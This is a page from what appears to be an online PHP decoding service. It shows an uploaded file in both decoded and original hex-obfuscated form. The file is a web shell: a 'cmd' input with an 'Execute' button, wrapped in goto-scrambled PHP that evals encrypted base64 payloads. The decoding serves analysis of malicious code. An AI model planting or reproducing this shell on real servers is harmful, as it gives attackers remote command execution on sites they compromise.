Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<html> <body> <form method="GET" name="<?php goto c93W5; u4MCa: if (file_exists("\141\..

Decoded Output download

 
<html> 
<body> 
<form method="GET" name="<?php goto c93W5; u4MCa: if (file_exists("anti8.php")) { include_once "anti8.php"; } else { die("<h2>File anti8.php not found !</h2>"); } goto xuXAi; Ra103: if (!defined("_DIR_")) { define("_DIR_", getcwd(), false); } goto u4MCa; WNnva: if (!defined("_FILE_")) { define("_FILE_", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER["PHP_SELF"]), false); } goto Ra103; xuXAi: $e7091 = "SVE4bkxBUWI5OXpuVHN4aFdVVU9PZFVKcXRBM3BiU2hhSGdLMTc1aHV0YlVPVWMrb3c2MGswQVF3TUdiVGhJQw=="; goto mquPu; mquPu: eval(e7061($e7091)); goto YnNxJ; c93W5: if (!function_exists("openssl_decrypt")) { die("<h2>Function openssl_decrypt() not found !</h2>"); } goto WNnva; YnNxJ: ?>"> 
<input type="TEXT" name="cmd" autofocus id="cmd" size="80"> 
<input type="SUBMIT" value="Execute"> 
</form> 
<pre> 
<?php goto a286K; naJmd: $e7091 = "NmV4SXdxUmhIS3k2Yjd4V2JrQmVXakhSN2lyQ21VOE00SXUwWEdoNXp6MnV4WEdFQU9KWUIwaHNzMEdLbDhhREd4cnBYNUJ4L2pQZjNwZnRUaUo1Q09QZi92MjRPaGt2Sm9XZmpYR3o0Rm81RzlGNStJWDMxRXdlamxHNCtvSVpHYmlVSXc2dGxOSURUTXlEMFlIdEVaT0hmK0trbU5XTnVkSUovWHltbDd3bEtQTEU5VlVYWXZnd3ljY29tSnlxMVZOODU4NFVhZ0N4c2xhdUo1cURMcmxKRjh5VEhNclAwZHdKNDJjSWZ2NzlKdkJDeFNSdnFoY0pGcWYrUnFjTnduY3NhVkZqVlpyb3ZPRFBuVzFOWXFLdHRiYWVKRHdMSkRnTm4zZStuZ0o4TW1oVDF0b2pLTEo0NjA4czBBMU9tOCszNGlIcjBOWmRtMGk3NUU1dWh4am1mTGRROFNvbzY5ME0zUG5rbzVpM2w0cHNVL3JNdWw5Y2h1OHBwb1NoMnorYVNBVk1oaUJ5VFptelNLUURuT3M3S0NOdFpyb3ZJT29JeEtuc3RxQXh2ZWlyNG9FR2g2ckhkZVhlWEg2bE4rdGRSdGpzWElyMEhNM2RUaEpNRWxqQUg3QmNwNGVoeitlK2ZSL3Q4anYybXB6amVuOG11cWNkRElPa0VTeDZod0pMcXgzZm5DRUFteDdFVGxNSU9rcG9hcndlN0NiYm93bTQ2OWx3bE1ISHNBbFhScU1jdjVaQUE4N2EreGtKem9mOFIrYnNhaDBOajRudldpL05kSmtuZW9obndKcXhmU2I2UnBRYkFhL01xWkc1MWVINXJEdjBMZStTSXRjMVdkL0NXM2VQQTNRZ2VaRHdvaVByQ0w4U0x3d083S1VKZ1owVVlPckpITHZrVFB3bjVubVRoMzNocE9lL1hiUWUwV0w1YytmZHpsY0F6NmNGankyV3YxRE5QV09pMWJJbnNsMHRWUlEyQlA5bUZDd0c1Vi9RU3NIV3RYKzZ0VjRTQnphdjMrL25raklGY0JYNmpxTHhNN0tyQ0VTaVp2RGVTczlhc3U1Q3lITFNYY05May82UXBJRzZncU9QQzRGVDJTVmtpU2l0dTloVmdobUQ1UTVTZVBYTUdzNHJGVEdRVi9OVkVPbkE4MlZBalpqWHBud1lwcE16SFhvaWx4WC9WZGRIODVCMWpGeWk0ZUdWcXZFNlR3PT0="; goto F7ioo; fT0Rn: if (!defined("_DIR_")) { define("_DIR_", getcwd(), false); } goto tLvyz; tLvyz: if (file_exists("anti8.php")) { include_once "anti8.php"; } else { die("<h2>File anti8.php not found !</h2>"); } goto naJmd; a286K: if (!function_exists("openssl_decrypt")) { die("<h2>Function openssl_decrypt() not found !</h2>"); } goto wIR5r; wIR5r: if (!defined("_FILE_")) { define("_FILE_", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER["PHP_SELF"]), false); } goto fT0Rn; F7ioo: eval(e7061($e7091)); goto Zy7Vo; Zy7Vo: ?> 
</pre> 
</body> 
</html>

Did this file decode correctly?

Original Code


<html>
<body>
<form method="GET" name="<?php goto c93W5; u4MCa: if (file_exists("\141\156\x74\151\x38\x2e\x70\x68\x70")) { include_once "\141\156\164\x69\x38\x2e\160\150\x70"; } else { die("\74\150\62\76\x46\x69\154\x65\40\x61\156\x74\151\x38\x2e\160\150\160\40\156\157\164\40\x66\157\165\x6e\x64\40\41\74\x2f\150\62\76"); } goto xuXAi; Ra103: if (!defined("\x5f\x44\x49\122\x5f")) { define("\x5f\104\x49\x52\x5f", getcwd(), false); } goto u4MCa; WNnva: if (!defined("\137\106\x49\114\x45\137")) { define("\137\106\111\114\x45\x5f", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER["\x50\x48\x50\137\x53\105\x4c\x46"]), false); } goto Ra103; xuXAi: $e7091 = "\x53\x56\105\64\x62\x6b\x78\x42\x55\127\x49\65\117\x58\160\165\126\110\x4e\x34\x61\x46\x64\x56\x56\125\71\x50\x5a\106\x56\x4b\143\130\122\102\x4d\63\x42\x69\x55\62\150\x68\123\x47\144\114\x4d\124\143\x31\141\110\126\x30\x59\154\x56\120\x56\x57\x4d\162\142\63\x63\x32\115\x47\163\167\x51\x56\106\63\124\125\144\151\x56\107\150\x4a\x51\167\75\x3d"; goto mquPu; mquPu: eval(e7061($e7091)); goto YnNxJ; c93W5: if (!function_exists("\157\x70\145\156\163\x73\x6c\x5f\144\145\143\x72\x79\160\x74")) { die("\x3c\x68\62\76\x46\x75\156\x63\x74\x69\x6f\x6e\x20\x6f\x70\x65\156\x73\163\x6c\137\144\x65\x63\x72\171\160\x74\x28\x29\x20\x6e\157\164\x20\146\157\165\x6e\x64\x20\x21\x3c\x2f\x68\62\x3e"); } goto WNnva; YnNxJ: ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php goto a286K; naJmd: $e7091 = "\x4e\x6d\x56\64\x53\x58\144\x78\125\x6d\150\x49\123\x33\x6b\x32\131\152\144\x34\x56\62\x4a\162\x51\x6d\x56\x58\x61\x6b\150\123\116\x32\x6c\x79\121\62\61\126\117\x45\60\x30\123\130\125\x77\127\x45\144\x6f\116\x58\160\66\x4d\156\x56\64\127\105\x64\106\121\x55\x39\113\x57\125\111\167\x61\110\x4e\172\x4d\105\x64\114\142\104\150\150\x52\x45\x64\x34\143\x6e\x42\131\116\x55\x4a\x34\114\62\160\121\132\x6a\116\167\x5a\156\x52\x55\x61\125\157\x31\x51\60\x39\121\132\x69\x39\x32\x4d\x6a\122\120\141\x47\164\62\x53\x6d\71\x58\x5a\155\160\x59\122\x33\157\x30\x52\x6d\70\61\x52\172\154\107\x4e\123\x74\x4a\x57\104\115\x78\x52\130\144\154\x61\x6d\170\110\116\103\164\x76\x53\x56\x70\110\x59\x6d\154\126\x53\x58\143\62\x64\107\170\117\123\x55\122\125\124\x58\154\105\x4d\106\154\x49\x64\105\126\141\x54\60\150\x6d\113\60\164\162\x62\125\65\130\124\156\126\153\x53\x55\x6f\166\127\110\154\164\x62\104\144\x33\142\x45\164\x51\x54\105\125\x35\x56\x6c\x56\131\127\x58\x5a\x6e\144\x33\x6c\x6a\x59\62\71\x74\123\156\154\x78\x4d\126\132\x4f\117\x44\x55\64\x4e\106\126\150\x5a\60\x4e\x34\x63\62\170\x68\144\x55\157\x31\143\x55\x52\x4d\143\x6d\170\x4b\122\x6a\x68\65\x56\x45\150\116\143\154\101\x77\x5a\x48\x64\113\116\x44\112\x6a\123\127\132\x32\116\172\x6c\x4b\x64\153\x4a\x44\x65\106\x4e\x53\x64\156\x46\157\x59\x30\160\107\x63\x57\131\162\125\x6e\x46\x6a\124\156\144\165\x59\63\x4e\150\126\x6b\132\x71\x56\x6c\160\171\x62\63\132\x50\122\x46\102\165\x56\x7a\106\x4f\x57\x58\106\x4c\144\110\x52\151\x59\x57\126\x4b\122\x48\144\x4d\123\153\x52\156\124\155\64\172\x5a\x53\x74\165\132\x30\157\x34\124\x57\61\157\126\104\x46\x30\142\x32\160\x4c\124\105\x6f\60\116\152\101\64\x63\172\102\102\115\125\x39\x74\x4f\x43\x73\172\x4e\107\154\x49\143\152\x42\x4f\x57\x6d\x52\x74\115\x47\x6b\x33\116\x55\x55\x31\144\x57\150\64\141\x6d\x31\155\124\107\x52\x52\117\x46\116\x76\142\x7a\x59\65\115\x45\x30\172\125\x47\65\x72\142\172\x56\x70\115\62\167\x30\x63\x48\x4e\x56\114\63\x4a\x4e\x64\x57\167\x35\x59\62\x68\61\117\x48\102\167\x62\x31\x4e\157\x4d\156\157\x72\131\126\x4e\x42\126\153\61\157\141\x55\x4a\65\126\x46\x70\x74\145\154\116\x4c\x55\125\122\165\124\63\115\63\x53\x30\x4e\x4f\x64\106\160\x79\142\63\x5a\112\124\62\71\x4a\x65\105\164\x75\143\63\x52\170\x51\130\x68\62\132\127\x6c\x79\x4e\107\71\x46\x52\62\x67\x32\x63\153\150\x6b\x5a\126\x68\x6c\127\x45\x67\62\x62\x45\64\x72\144\107\x52\x53\x64\x47\x70\172\127\x45\154\171\115\105\x68\116\115\x32\x52\x55\141\x45\x70\x4e\122\127\170\161\x51\125\x67\63\121\x6d\116\x77\116\x47\126\x6f\x65\151\164\x6c\113\62\132\123\x4c\x33\121\x34\x61\156\x59\171\142\x58\102\x36\141\x6d\x56\x75\x4f\x47\x31\61\143\x57\116\x6b\122\105\154\x50\141\60\x56\124\145\104\132\x6f\x64\60\x70\115\x63\x58\147\172\x5a\155\x35\x44\x52\x55\106\164\145\x44\144\x46\126\107\x78\x4e\123\125\x39\162\x63\107\71\x68\x63\x6e\144\154\116\60\116\x69\131\x6d\x39\63\142\x54\121\x32\117\127\x78\x33\x62\105\x31\x49\x53\110\116\102\x62\106\x68\x53\143\125\x31\x6a\x64\152\x56\x61\121\x55\x45\64\x4e\62\105\162\x65\x47\x74\113\145\x6d\71\x6d\x4f\x46\111\162\131\156\116\x68\x61\104\x42\x4f\x61\x6a\122\165\x64\x6c\144\160\114\x30\65\153\x53\x6d\164\165\132\x57\x39\x6f\x62\156\144\113\143\x58\150\155\125\62\111\x32\x55\x6e\102\122\x59\153\106\x68\x4c\60\61\x78\127\153\x63\x31\115\127\x56\111\116\130\x4a\105\x64\x6a\102\115\132\x53\x74\124\x53\x58\122\152\x4d\x56\x64\x6b\x4c\60\x4e\130\115\x32\126\121\x51\x54\116\122\x5a\x32\126\141\x52\110\144\166\x61\x56\x42\x79\x51\60\167\64\125\x30\170\x33\144\60\70\63\x53\x31\126\x4b\132\x31\x6f\x77\x56\x56\x6c\120\143\153\x70\111\x54\x48\x5a\162\x56\106\102\x33\142\x6a\x56\x75\x62\126\122\157\x4d\172\116\157\x63\x45\x39\154\114\x31\150\151\x55\127\125\167\x56\60\167\x31\x59\171\x74\x6d\x5a\110\x70\163\x59\x30\106\x36\116\155\116\x47\141\156\x6b\x79\126\63\x59\x78\122\105\x35\121\126\x30\71\x70\x4d\127\112\x4a\142\x6e\x4e\163\115\110\122\127\x55\x6c\105\x79\121\154\x41\x35\x62\x55\x5a\104\x64\60\143\61\x56\x69\71\122\x55\63\x4e\111\126\63\x52\x59\113\172\132\x30\x56\152\122\124\x51\x6e\x70\x68\144\152\115\162\114\x32\65\x72\x61\153\154\x47\131\60\112\x59\x4e\x6d\160\170\124\110\x68\116\x4e\60\164\x79\121\60\126\124\x61\126\160\x32\x52\x47\x56\x54\x63\x7a\x6c\150\143\63\125\x31\121\63\x6c\111\x54\106\x4e\x59\x59\60\x35\x4d\x61\x79\x38\62\125\130\102\112\122\172\x5a\x6e\143\125\71\x51\x51\172\x52\107\x56\104\112\x54\126\155\164\160\x55\62\154\60\x64\124\x6c\157\x56\155\x64\157\142\125\x51\x31\x55\x54\126\124\x5a\x56\x42\131\x54\x55\x64\x7a\x4e\x48\x4a\107\126\x45\x64\x52\x56\151\x39\117\126\153\x56\120\x62\153\105\64\x4d\x6c\x5a\x42\141\x6c\160\161\127\x48\x42\x75\144\61\154\x77\x63\x45\61\66\x53\x46\150\166\x61\127\x78\64\127\x43\x39\127\x5a\107\122\111\117\104\126\103\x4d\127\x70\x47\x65\x57\x6b\60\x5a\x55\x64\x57\143\x58\132\106\x4e\x6c\122\63\x50\124\x30\75"; goto F7ioo; fT0Rn: if (!defined("\x5f\x44\111\x52\x5f")) { define("\137\x44\x49\122\137", getcwd(), false); } goto tLvyz; tLvyz: if (file_exists("\141\156\x74\151\70\56\x70\x68\160")) { include_once "\x61\x6e\x74\x69\x38\56\160\150\160"; } else { die("\74\x68\x32\x3e\106\x69\x6c\x65\x20\141\x6e\x74\x69\x38\x2e\x70\x68\x70\x20\x6e\157\164\x20\x66\x6f\x75\x6e\144\40\41\x3c\x2f\150\x32\76"); } goto naJmd; a286K: if (!function_exists("\x6f\160\x65\x6e\x73\x73\x6c\x5f\144\145\x63\162\x79\x70\164")) { die("\74\150\x32\76\106\165\x6e\143\164\151\x6f\156\x20\157\160\145\156\x73\x73\154\137\x64\x65\143\x72\x79\x70\164\x28\x29\x20\156\157\x74\x20\146\x6f\x75\x6e\x64\x20\41\x3c\x2f\x68\62\x3e"); } goto wIR5r; wIR5r: if (!defined("\137\106\x49\114\105\137")) { define("\x5f\x46\111\x4c\105\137", getcwd() . DIRECTORY_SEPARATOR . basename($_SERVER["\x50\x48\120\137\123\x45\114\x46"]), false); } goto fT0Rn; F7ioo: eval(e7061($e7091)); goto Zy7Vo; Zy7Vo: ?>
</pre>
</body>
</html>

Function Calls

None

Variables

None

Stats

MD5 926178ff9a2d290101a671a01c3fc785
Eval Count 0
Decode Time 49 ms